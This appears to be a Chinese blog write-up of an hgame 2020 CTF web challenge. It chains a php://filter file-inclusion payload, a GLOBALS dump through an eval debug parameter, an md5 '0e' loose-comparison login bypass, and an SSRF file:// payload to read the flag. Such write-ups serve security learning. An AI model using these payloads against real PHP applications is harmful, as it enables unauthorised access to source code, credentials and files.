zoukankan      html  css  js  c++  java
  • hGame2020第二周第一题题解

    Description:

    Cosmos通过两个小时速成了PHP+HTML,他信心满满的写了一个博客,他说要从博客后台开始......(flag在根目录, 禁止使用任何扫描器)

    Challenge Address http://cosmos-admin.hgame.day-day.work

    题目给出了提示:PHP+HTML,没有学习sql所以也不存在sql注入,

    (刚开始领悟成了他没好好学习sql,所以有sql注入,注了半个小时也没注明白,还跑了个sqlmap)

    第一步打开网页,发现action=login.php,卧槽怎么没早发现这个点,这是典型的文件包含啊

    (此处不能包含到config.php和根目录的flag,被过滤了所以应该是为了让我们往下做)

    img点击并拖拽以移动

    肯定存在个login.php(没被过滤),用php的fileter协议来爆出这个login.php的源码

    payload:action=php://filter/read=convert.base64-encode/resource=login.php
    

    点击并拖拽以移动

    然后base64解码得到源码(最下面放上全代码的链接,可以自行下载):

    关键PHP代码如下:

    <?php
    include "config.php";
    session_start();
    
    //Only for debug
    if (DEBUG_MODE){
        if(isset($_GET['debug'])) {
            $debug = $_GET['debug'];
            if (!preg_match("/^[a-zA-Z_x7f-xff][a-zA-Z0-9_x7f-xff]*$/", $debug)) {
                die("args error!");
            }
            eval("var_dump($$debug);");
        }
    }
    
    if(isset($_SESSION['username'])) {
        header("Location: admin.php");
        exit();
    }
    else {
        if (isset($_POST['username']) && isset($_POST['password'])) {
            if ($admin_password == md5($_POST['password']) && $_POST['username'] === $admin_username){
                $_SESSION['username'] = $_POST['username'];
                header("Location: admin.php");
                exit();
            }
            else {
                echo "用户名或密码错误";
            }
        }
    }
    ?>
    

    点击并拖拽以移动

    大致意思我们可以清楚:

    ​ 博主应该是在config.php里放了自己的账号密码两个变量,也验证了不是sql注入的结论!

    ​ 但是博主出了问题,下面这句造成本地包含,暴露所有的变量信息*

    eval("var_dump($$debug);");
    

    于是很清楚了:

    payload:http://cosmos-admin.hgame.day-day.work/login.php?debug=GLOBALS

    img点击并拖拽以移动

    基本所有的配置信息都被爆出来了:

    array(9) { ["_GET"]=> array(1) { ["debug"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(1) { ["PHPSESSID"]=> string(26) "1hllumqt039vf9384rs80i5l8q" } ["_FILES"]=> array(0) { } ["debug"]=> string(7) "GLOBALS" ["admin_password"]=> string(32) "0e114902927253523756713132279690" ["admin_username"]=> string(7) "Cosmos!" ["_SESSION"]=> &array(0) { }
    ["GLOBALS"]=> array(9) { ["_GET"]=> array(1) { ["debug"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(1) { ["PHPSESSID"]=> string(26) "1hllumqt039vf9384rs80i5l8q" } ["_FILES"]=> array(0) { } ["debug"]=> string(7) "GLOBALS" ["admin_password"]=> string(32) "0e114902927253523756713132279690" ["admin_username"]=> string(7) "Cosmos!" ["_SESSION"]=> &array(0) { } ["GLOBALS"]=> RECURSION } }

    此处敲重点:admin_username:Cosmos! admin_password:0e114902927253523756713132279690

    注意下面代码:

    ​ 用户名用了"= = =",强比较,而密码则使用了,通过比较md5值得"= ="弱比较,所有我们不必找出密码原来的值

    ​ 找一个可以以0e开头的皆可:我这用的QNKCDZO

    $admin_password == md5($_POST['password']) && $_POST['username'] === $admin_username
    

    点击并拖拽以移动

    然后账户:Cosmos! 密码:QNKCDZO

    **进入后台:进入了admin.php,然后记不记得上面用到过的的文件包含:

    payload:action=php://filter/read=convert.base64-encode/resource=admin.php

    admin.php关键代码:

    <?php
    include "config.php";
    session_start();
    if(!isset($_SESSION['username'])) {
        header('Location: index.php');
        exit();
    }
    
    function insert_img() {
        if (isset($_POST['img_url'])) {
            $img_url = @$_POST['img_url'];
            $url_array = parse_url($img_url);
            if (@$url_array['host'] !== "localhost" && $url_array['host'] !== "timgsa.baidu.com") {
                return false;
            }   
            $c = curl_init();
            curl_setopt($c, CURLOPT_URL, $img_url);
            curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
            $res = curl_exec($c);
            curl_close($c);
            $avatar = base64_encode($res);
    
            if(filter_var($img_url, FILTER_VALIDATE_URL)) {
                return $avatar;
            }
        }
        else {
            return base64_encode(file_get_contents("static/logo.png"));
        }
    }
    ?>
    

    点击并拖拽以移动

    上面代码中一段重要代码如下,是明显的ssrf。

    这段代码大概意思:

    ​ 把你输入的url地址的转通过一系列函数执行

    ​ 用变量$res到目标执行结果,然后base64加密结果,回显到图片标签

    $c = curl_init();
    curl_setopt($c, CURLOPT_URL, $img_url);
    curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
    $res = curl_exec($c);
    curl_close($c);
    $avatar = base64_encode($res);
    

    其中限制了两个白名单,只能用百度图库和localhost

    @$url_array['host'] !== "localhost" && $url_array['host'] !== "timgsa.baidu.com"
    

    其中一段代码,parse_url($img_url); 这个函数没办法绕过所以只能看人家本地的或者百度的,没办法nc连接

    $img_url = @$_POST['img_url'];
    $url_array = parse_url($img_url);
    

    这里用到file协议:

    payload:file://localhost//flag

    如图:

    img点击并拖拽以移动

    得到结果:

    img点击并拖拽以移动

    将得到:aGdhbWV7cEhwXzFzX1RoM19CM3NUX0w0bkd1NGdFIUAhfQo=

    base64解密后得到结果:hgame{pHp_1s_Th3_B3sT_L4nGu4gE!@!}

    admin.php:链接:https://pan.baidu.com/s/1bHl62-24AqNaQ6viuPZ2lw
    提取码:3i68

    login.php: 链接:https://pan.baidu.com/s/1l7zYdol2ThlgvDc3q3Phcw
    提取码:j06o

  • 相关阅读:
    又到黄金季节,该跳槽吗?怎么跳?
    分布式事务 6 个技术方案
    15 个 MyBatis 技巧,赶紧收藏吧!
    你的工资被倒挂了吗
    终于知道 Java agent 怎么重写字节码了
    每天的工作,你腻了吗?
    10 分钟轻松学会 Jackson 反序列化自动适配子类
    SpringMVC异步处理的 5 种方式
    Linux Cron 定时任务
    人类简史、软件架构和中台
  • 原文地址:https://www.cnblogs.com/h3zh1/p/12549386.html
Copyright © 2011-2022 走看看